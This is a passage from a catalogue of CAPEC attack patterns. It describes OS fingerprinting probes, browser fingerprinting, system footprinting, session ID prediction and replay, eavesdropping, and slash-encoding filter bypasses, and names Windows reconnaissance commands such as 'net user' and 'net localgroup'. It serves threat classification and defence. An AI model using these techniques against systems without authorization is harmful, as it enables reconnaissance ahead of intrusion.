This OS fingerprinting probe analyzes the IP 'ID' field sequence number generation algorithm of a remote host. Operating systems generate IP 'ID' numbers differently, allowing an attacker to identify the operating system of the host by examining how is assigns ID numbers when generating response packets. RFC 791 does not specify how ID numbers are chosen or their ranges, so ID sequence generation differs from implementation to implementation. There are two kinds of IP 'ID' sequence number analysis - IP 'ID' Sequencing: analyzing the IP 'ID' sequence generation algorithm for one protocol used by a host and Shared IP 'ID' Sequencing: analyzing the packet ordering via IP 'ID' values spanning multiple protocols, such as between ICMP and TCP.
CAPEC-318: IP 'ID' Echoed Byte-Order Probe
This OS fingerprinting probe tests to determine if the remote host echoes back the IP 'ID' value from the probe packet. An attacker sends a UDP datagram with an arbitrary IP 'ID' value to a closed port on the remote host to observe the manner in which this bit is echoed back in the ICMP error message. The identification field (ID) is typically utilized for reassembling a fragmented packet. Some operating systems or router firmware reverse the bit order of the ID field when echoing the IP Header portion of the original datagram within an ICMP error message.
CAPEC-319: IP (DF) 'Don't Fragment Bit' Echoing Probe
This OS fingerprinting probe tests to determine if the remote host echoes back the IP 'DF' (Don't Fragment) bit in a response packet. An attacker sends a UDP datagram with the DF bit set to a closed port on the remote host to observe whether the 'DF' bit is set in the response packet. Some operating systems will echo the bit in the ICMP error message while others will zero out the bit in the response packet.
CAPEC-320: TCP Timestamp Probe
This OS fingerprinting probe examines the remote server's implementation of TCP timestamps. Not all operating systems implement timestamps within the TCP header, but when timestamps are used then this provides the attacker with a means to guess the operating system of the target. The attacker begins by probing any active TCP service in order to get response which contains a TCP timestamp. Different Operating systems update the timestamp value using different intervals. This type of analysis is most accurate when multiple timestamp responses are received and then analyzed. TCP timestamps can be found in the TCP Options field of the TCP header.
CAPEC-321: TCP Sequence Number Probe
This OS fingerprinting probe tests the target system's assignment of TCP sequence numbers. One common way to test TCP Sequence Number generation is to send a probe packet to an open port on the target and then compare the how the Sequence Number generated by the target relates to the Acknowledgement Number in the probe packet. Different operating systems assign Sequence Numbers differently, so a fingerprint of the operating system can be obtained by categorizing the relationship between the acknowledgement number and sequence number as follows: 1) the Sequence Number generated by the target is Zero, 2) the Sequence Number generated by the target is the same as the acknowledgement number in the probe, 3) the Sequence Number generated by the target is the acknowledgement number plus one, or 4) the Sequence Number is any other non-zero number.
CAPEC-322: TCP (ISN) Greatest Common Divisor Probe
This OS fingerprinting probe sends a number of TCP SYN packets to an open port of a remote machine. The Initial Sequence Number (ISN) in each of the SYN/ACK response packets is analyzed to determine the smallest number that the target host uses when incrementing sequence numbers. This information can be useful for identifying an operating system because particular operating systems and versions increment sequence numbers using different values. The result of the analysis is then compared against a database of OS behaviors to determine the OS type and/or version.
CAPEC-323: TCP (ISN) Counter Rate Probe
This OS detection probe measures the average rate of initial sequence number increments during a period of time. Sequence numbers are incremented using a time-based algorithm and are susceptible to a timing analysis that can determine the number of increments per unit time. The result of this analysis is then compared against a database of operating systems and versions to determine likely operation system matches.
CAPEC-324: TCP (ISN) Sequence Predictability Probe
This type of operating system probe attempts to determine an estimate for how predictable the sequence number generation algorithm is for a remote host. Statistical techniques, such as standard deviation, can be used to determine how predictable the sequence number generation is for a system. This result can then be compared to a database of operating system behaviors to determine a likely match for operating system and version.
CAPEC-325: TCP Congestion Control Flag (ECN) Probe
This OS fingerprinting probe checks to see if the remote host supports explicit congestion notification (ECN) messaging. ECN messaging was designed to allow routers to notify a remote host when signal congestion problems are occurring. Explicit Congestion Notification messaging is defined by RFC 3168. Different operating systems and versions may or may not implement ECN notifications, or may respond uniquely to particular ECN flag types.
CAPEC-326: TCP Initial Window Size Probe
This OS fingerprinting probe checks the initial TCP Window size. TCP stacks limit the range of sequence numbers allowable within a session to maintain the "connected" state within TCP protocol logic. The initial window size specifies a range of acceptable sequence numbers that will qualify as a response to an ACK packet within a session. Various operating systems use different Initial window sizes. The initial window size can be sampled by establishing an ordinary TCP connection.
CAPEC-327: TCP Options Probe
This OS fingerprinting probe analyzes the type and order of any TCP header options present within a response segment. Most operating systems use unique ordering and different option sets when options are present. RFC 793 does not specify a required order when options are present, so different implementations use unique ways of ordering or structuring TCP options. TCP options can be generated by ordinary TCP traffic.
CAPEC-328: TCP 'RST' Flag Checksum Probe
This OS fingerprinting probe performs a checksum on any ASCII data contained within the data portion or a RST packet. Some operating systems will report a human-readable text message in the payload of a 'RST' (reset) packet when specific types of connection errors occur. RFC 1122 allows text payloads within reset packets but not all operating systems or routers implement this functionality.
CAPEC-329: ICMP Error Message Quoting Probe
An adversary uses a technique to generate an ICMP Error message (Port Unreachable, Destination Unreachable, Redirect, Source Quench, Time Exceeded, Parameter Problem) from a target and then analyze the amount of data returned or "Quoted" from the originating request that generated the ICMP error message.
CAPEC-330: ICMP Error Message Echoing Integrity Probe
An adversary uses a technique to generate an ICMP Error message (Port Unreachable, Destination Unreachable, Redirect, Source Quench, Time Exceeded, Parameter Problem) from a target and then analyze the integrity of data returned or "Quoted" from the originating request that generated the error message.
CAPEC-472: Browser Fingerprinting
An attacker carefully crafts small snippets of Java Script to efficiently detect the type of browser the potential victim is using. Many web-based attacks need prior knowledge of the web browser including the version of browser to ensure successful exploitation of a vulnerability. Having this knowledge allows an attacker to target the victim with attacks that specifically exploit known or zero day weaknesses in the type and version of the browser used by the victim. Automating this process via Java Script as a part of the same delivery system used to exploit the browser is considered more efficient as the attacker can supply a browser fingerprinting method and integrate it with exploit code, all contained in Java Script and in response to the same web page request by the browser.
CAPEC-497: File Discovery
An adversary engages in probing and exploration activities to determine if common key files exists. Such files often contain configuration and security parameters of the targeted application, system or network. Using this knowledge may often pave the way for more damaging attacks.
CAPEC-508: Shoulder Surfing
In a shoulder surfing attack, an adversary observes an unaware individual's keystrokes, screen content, or conversations with the goal of obtaining sensitive information. One motive for this attack is to obtain sensitive information about the target for financial, personal, political, or other gains. From an insider threat perspective, an additional motive could be to obtain system/application credentials or cryptographic keys. Shoulder surfing attacks are accomplished by observing the content "over the victim's shoulder", as implied by the name of this attack.
CAPEC-573: Process Footprinting
An adversary exploits functionality meant to identify information about the currently running processes on the target system to an authorized user. By knowing what processes are running on the target system, the adversary can learn about the target environment as a means towards further malicious behavior.
CAPEC-574: Services Footprinting
An adversary exploits functionality meant to identify information about the services on the target system to an authorized user. By knowing what services are registered on the target system, the adversary can learn about the target environment as a means towards further malicious behavior. Depending on the operating system, commands that can obtain services information include "sc" and "tasklist/svc" using Tasklist, and "net start" using Net.
CAPEC-575: Account Footprinting
An adversary exploits functionality meant to identify information about the domain accounts and their permissions on the target system to an authorized user. By knowing what accounts are registered on the target system, the adversary can inform further and more targeted malicious behavior. Example Windows commands which can acquire this information are: "net user" and "dsquery".
CAPEC-576: Group Permission Footprinting
An adversary exploits functionality meant to identify information about user groups and their permissions on the target system to an authorized user. By knowing what users/permissions are registered on the target system, the adversary can inform further and more targeted malicious behavior. An example Windows command which can list local groups is "net localgroup".
CAPEC-577: Owner Footprinting
An adversary exploits functionality meant to identify information about the primary users on the target system to an authorized user. They may do this, for example, by reviewing logins or file modification times. By knowing what owners use the target system, the adversary can inform further and more targeted malicious behavior. An example Windows command that may accomplish this is "dir /A ntuser.dat". Which will display the last modified time of a user's ntuser.dat file when run within the root folder of a user. This time is synonymous with the last time that user was logged in.
CAPEC-59: Session Credential Falsification through Prediction
This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.
CAPEC-60: Reusing Session IDs (aka Session Replay)
This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.
CAPEC-616: Establish Rogue Location
An adversary provides a malicious version of a resource at a location that is similar to the expected location of a legitimate resource. After establishing the rogue location, the adversary waits for a victim to visit the location and access the malicious resource.
CAPEC-643: Identify Shared Files/Directories on System
An adversary discovers connections between systems by exploiting the target system's standard practice of revealing them in searchable, common areas. Through the identification of shared folders/drives between systems, the adversary may further their goals of locating and collecting sensitive information/files, or map potential routes for lateral movement within the network.
CAPEC-646: Peripheral Footprinting
Adversaries may attempt to obtain information about attached peripheral devices and components connected to a computer system. Examples may include discovering the presence of iOS devices by searching for backups, analyzing the Windows registry to determine what USB devices have been connected, or infecting a victim system with malware to report when a USB device has been connected. This may allow the adversary to gain additional insight about the system or network environment, which may be useful in constructing further attacks.
CAPEC-651: Eavesdropping
An adversary intercepts a form of communication (e.g. text, audio, video) by way of software (e.g., microphone and audio recording application), hardware (e.g., recording equipment), or physical means (e.g., physical proximity). The goal of eavesdropping is typically to gain unauthorized access to sensitive information about the target for financial, personal, political, or other gains. Eavesdropping is different from a sniffing attack as it does not take place on a network-based communication channel (e.g., IP traffic). Instead, it entails listening in on the raw audio source of a conversation between two or more parties.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.